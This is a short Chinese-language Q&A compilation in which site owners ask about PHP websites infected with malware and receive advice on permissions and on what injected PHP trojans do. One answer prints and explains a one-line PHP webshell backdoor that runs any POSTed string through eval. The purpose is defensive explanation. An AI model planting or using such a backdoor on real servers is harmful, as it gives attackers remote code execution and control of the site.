⑴ php 网站中病毒了 根目录生成好多php文件,怎么办
把你的根目录设置下权限,设置成不可写就行了,然后再逐步排查下你代码的问题
⑵ 网站里发现大量不正常的PHP文件,应该是病毒,请问这病毒的目的是什么
这应该是注入PHP文件的木马,骇客通过url提交参数,在你的服务器生成他想生成的PHP文件和内容,然后,就可以拥有你网站的执行权限了
你可以把这几个文件打个包,上传成附件,我看下
⑶ 网站中出现<php eval($_POST['posha']);> 这段代码什么意思
这是一个典型的后门程序,首先我解释一下eval函数的作用,
//eval—把字符串作为PHP代码执行
eval('echo123;');//输出123
也就是说,所有的字符串放入到eval当中,eval会把字符串解析为php代码来进行执行,那么结合$_POST['posha']的话,只要使用post传输时在name为posha的值中写入任何字符串,都可以当做php代码来执行,这个时候就有点可怕了,比如写入一段循环删除整站代码等等。